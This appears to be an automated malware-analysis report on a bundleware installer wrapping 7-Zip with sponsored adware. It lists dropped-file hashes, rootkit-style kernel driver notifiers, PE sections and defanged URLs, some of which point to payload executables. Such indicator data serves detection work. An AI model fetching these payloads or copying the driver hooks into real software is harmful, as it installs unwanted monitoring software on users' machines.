1d6b0da8a2670ecb65c3bc01a2a7054d	c:\Users\All Users\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449	c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
f31085e9d71a854141a7b7f8f482b0a8	c:\Users\All Users\YTAHelper\YTAHelper.dll
1be954fa9412364076084e3a5153f08f	c:\Users\All Users\YTAHelper\YTAHelper64.dll
870d021ae4eed3bd77c8893f5e571179	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_1277\DCytaiesmt_smtyc_setup.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_23023\ins_postInst.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_23023\ins_postInst.exe
0acca4a0607d98b6da89105549d2adb8	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp
b3fdf6e7b0aecd48ca7e4921773fb606	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe
0acca4a0607d98b6da89105549d2adb8	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp
0acca4a0607d98b6da89105549d2adb8	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\F631.tmp
d65611fbc4da8cea4e886076bec82d1e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_20162\ins_postInst.exe
142ae006ffa3a2ae4b952df36af65c8c	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_20162\ins_yta.exe
f0c901abae3506a5ebedbbcc2cf894b1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_30361\ins_shopperpro.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
f593c94827e130cdb5c3215e0753c781	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
374aecb3c099c158bb8ebd99a86918db	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
07a47e39d92a5f5c7b7dc63716675441	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe
592989a426ae8bd543816906b4e404b6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
30a7767ce7edd677b85dbf308476be5e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
96257545e464d8e48a767dca7158ab18	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
d0a905c4dbb627779c7395f63e4695e4	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
ef7d1863f4980ab0c8bda142fee67f92	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe
01a3e528d2caa830c1b9276159c1a892	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\RegWrite.exe
0a1d8c442bf10ba569bc89cf7dfc3855	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\STab_Down_6.0.6.8.exe
55bae15d523e4fabaa551023703d3fd9	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\XTab_v4.0.exe
3525b3c9cafced38e0ab2334da7fb449	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\wpm_v20.0.0.1714_0204.exe
518879abe3170dabd172dfffcd165598	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
1bdf5e5015efcaa68b05cec0a79be484	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
8683e0490479293e0dd1faf2cf2e88d7	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\nsProcess.dll
9509bda8473649e594dfbb586025e4c0	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\nsProcess.dll
31f8d1cffb02dff93646f81d8ce3dd75	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
2574fc24647259615ff9029659066657	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
a5bfd6a87161d5dfa81cb5c2c6d29488	c:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.0.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	32768	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	196608	17800	17920	3.94947	910d365c8572b40bfb8141bb8ae1ba88

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3608
7f6d030a23f210ff0f767468fe3edd48
15085ef3a04cc8da75e4e88c8e40360f
95d29a753a41d388af981f54013fa0e0
9fd81c119909308d540861e600a43bd3
5d1f4d16a053d942db335e2c86539c13
b7f04de791f0f1174b6595f07c104868
9b2a2631e07de3ea563da5f894f4918c
514afa0ffed853b833f9ddd40c7fdf96
b92fbe6b91568d9eb47d9b0022ccc3d0
172b6f18513f091e62c3eb9ec68484c8
646480e133f1daf28dc85ae99759f2f4
a5e4339887081cfaf1653a7657acf073
549d4106a715807f31179fa4dd02a727
1270bc16fedc637d8ad078ee15e15107
b7c7e4c55a03baca5788d4cdf2869fc0
1dc72a410d67eb4d6166990e3e960606
0000d4dfa1f1d61271d6789616ff0882
f17e4556271f0a3cba61103303f4821b
ec448b672988eecfbe5db9b39dd113ea
554c710ad2da44edabf8a39e29b525fd
6c686b56afc8acb9c4f55d9126145dcb
2e25aa9a90cf814cceb990b3777b8df6
87a3d1f1f4decd60bc4fed779f16ab7e
be82581da15d62c0241c0aba0079ebc9
33e4c9846b62ef1d7988e58896f26870

URLs

URL	IP
hxxp://installer.betterinstaller.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d2sfi55f1s20qk.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.202.168
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d2sfi55f1s20qk.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/affiliates/filesfrog/eula.html	54.230.202.168
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://mirror.frogdownload.com/software_files/7_zip/7zip_32.png
hxxp://d1hg3hnogsqyks.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.230.203.8
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=1340673461&utmhn=bi.bisrv.com&utmhid=943678377&utmr=-&utmp=Installer_Init&utmht=1424736079487&utmac=UA-31676879-1&utmcc=__utma=1.2079935846.1424736079.1424736079.1424736079.1;+__utmz=1.1424736079.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=408293684&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.192.200.207
hxxp://d32c8485dhfcya.cloudfront.net/mirror/mystartsearch/default/setup.exe	54.230.201.48
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://d29brepyudd8sp.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.201.136
hxxp://mirror.frogdownload.com/software_files/7_zip/9_20/7z920.exe
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.03366593064035461
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=1&index_in_screen=1&index_in_session=1&0.9914435842174836
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.8803346687573486
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=2&index_in_screen=1&index_in_session=2&0.28266240010454496
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.4460082802343849
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=3&index_in_screen=1&index_in_session=3&0.5401641156762951
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.9905477538899743
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=4&index_in_screen=1&index_in_session=4&0.6651464849393311
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=AZwPyJy3TZi4/9HrRpQ3bLnjMnh 4VIh0p 2AZY350X8ln8Iap23//2TEkHeJNDUJPiqQQOytxw4COacNh4EPJ8D0cq40/0vd/XCztdoPbJFiFlIaXxqEcmxw368usKjODQ8kqa2OFucXyuYdOQyobLZ4ZHHnwlV4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=emKxDesqhYfulzvurkdMtQdO0XLeZfAkQF3UKsSdb2t7HO4WybUyR8Hy4zQ/KuAKHWPGQaBljeFI lMPnLPkSuLt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd	54.230.202.168
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.3&utms=2&utmn=1319504778&utmhn=bi.bisrv.com&utmhid=943678377&utmr=-&utmp=Offer_Accepted&utmht=1424736140675&utmac=UA-31676879-1&utmcc=__utma=1.2079935846.1424736079.1424736079.1424736079.1;+__utmz=1.1424736079.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=1&index_in_screen=1&index_in_session=1&0.9529827904672641
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=uWabAt9SLczfh1h59JTgdIduf7GeaOfNAZx7JfD/ZiMDt2EUeZbtRVHmS0ZrngqaehpOqw6bJSLjAzOm8FoQAAyDAGrrM4opYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK	54.230.200.130
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=XOxRKBm2zlz43cdm0TeNYuLyPyzo0umu0h8iG8WGtN3oUht0DV8eHWD3h9gcT/r2iwEbfeVtNep9AGHLpPN9dvm9MH d93MvJPiqQQOytxwWqi8b4jjnKocxrkTwtdhdKPhEFY5XZBJPMXncQenCC3JF1S42 BeaImPFRYkh3ej9DDxdB8IX3/IOb5O/qAEzG73xbmM7JbkFsK7/Ya3qp3H4CQmKwMH4x8q9H5swxBbQQ6cZmJuUENbOUxsrM9DIVdwA8e 8CUnmbyqq6DF3nJN041sf6R9PPE5RP1LOLdbgMBqn0KNh8JqOWL1s /Izp59WIWsKGx4z3GMUs6QTMnG8k4nQ9jWi94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBQH07zjNFHyg=	54.230.201.219
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=vjRn qH YuPulzvurkdMtWtgRtIQv uIQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL11HmS0ZrngqaehpOqw6bJSLjAzOm8FoQAH6fyQqqsNTvYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFimYPbkMVxFbGO705yKW/8 Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0=	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUa4chbF8K5U26keK87vbQoUVqC1aQjPYhLH1GFDNCxEsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKzhaWSxEYwymAEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5fAwCWrSwf7Fw==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUfrYVG/XirhPBPEhRyyBD7D2M6U1Ze8GFFzslN/Oom5DbE2hSZV1srvsrduYhMMj22RKvLYtrSkCxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9fNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUr60ZqS4ggdNg==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUUmvGwE2ItoihD9gPpiV Hiz4gguKWlYXdKsmYe6ObrcAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H181XMstzEWN0GMkWwl748xuHRUPzU7mvNY8ojP9wctSvrRmpLiCB02	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUY5PPWYBcW8Gs IILilpWF3nW9YwSk5gj28Va7JmIs/BV8xxQACfjs51d/yz32tmquaHkbuQuAqpVejzRFPrs6H2qfbRCWFZtoTGmCgccp0YHRVCONAYSU9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl8DAJatLB/sX	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUZR0WuEl7dbF0kOkPP/ lcpu8eAfWsOK5ZLOhm7KiO348MKRqZY TBH6dnj3H5nABveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLOc3vmcjs3clDyU6pAJ/0qsLN3WkT6UwlMnKoVnaoXrfJuII2ynZweY=	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUb9PKObAHk8Ms IILilpWF3L95ytGxurmx7yxagmX1ikbxkEeDXhjVSM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUuPqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUbqfIekNLhs5jgb6v7cXpPsfukqxdW6Kzzz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0V1xu7KMyWvkL2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUTz0zfD6NQ4eEwAaRG2pHiUPesst1ukiDjOJGv9qSLCFMXL1aGIyEdEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEvxMJiM8GJo0cAmFWBqey3IIDWGoEVJF8ybZEVgy/VBXa2CkarwxdzgnyucPTMPOBI=	54.230.202.168
hxxp://d3bg798gjlk71j.cloudfront.net/yta33_sh_full.exe	54.230.201.73
hxxp://d3dle8xo1zpfnz.cloudfront.net/ytai.exe	54.192.202.163
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUfa HuGTRyAEFAL52sIXt4Ua8Zp/ 13YC87tt5DnIkTUi1f7P6QEzXxsw87geXZcc6iH7TcBEiX6xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9fNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUr60ZqS4ggdNg==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUVDwWd9hvLDxFAL52sIXt4XYryyVYEb/Xz3ZLnbsoZ9zjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQ==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUanmGGYVS7/B0JQd5HxgIXcchUPaSyVwwPCqh8CqOQ5D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet8m4gjbKdnB5g==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUQ5Mtw6p9U5dKYX3Ti/i3YOb87aptZLNDMXmaVWxukFWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKzhaWSxEYwymAEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5fAwCWrSwf7Fw==	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUZKvgNPDm5dkjgb6v7cXpPth71QQSR2eRtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qdmD4YpLGrlcew/zVg04SETIoScJ/u8QKKysiZqegQvr2IsVHp9lGjAnEvLxGb7yU=	54.230.202.168
hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUQeEuJy eF9fKYX3Ti/i3YMyquPELD4STKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTa/RmnbFycn/MCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7mbc LNSD go=	54.230.202.168
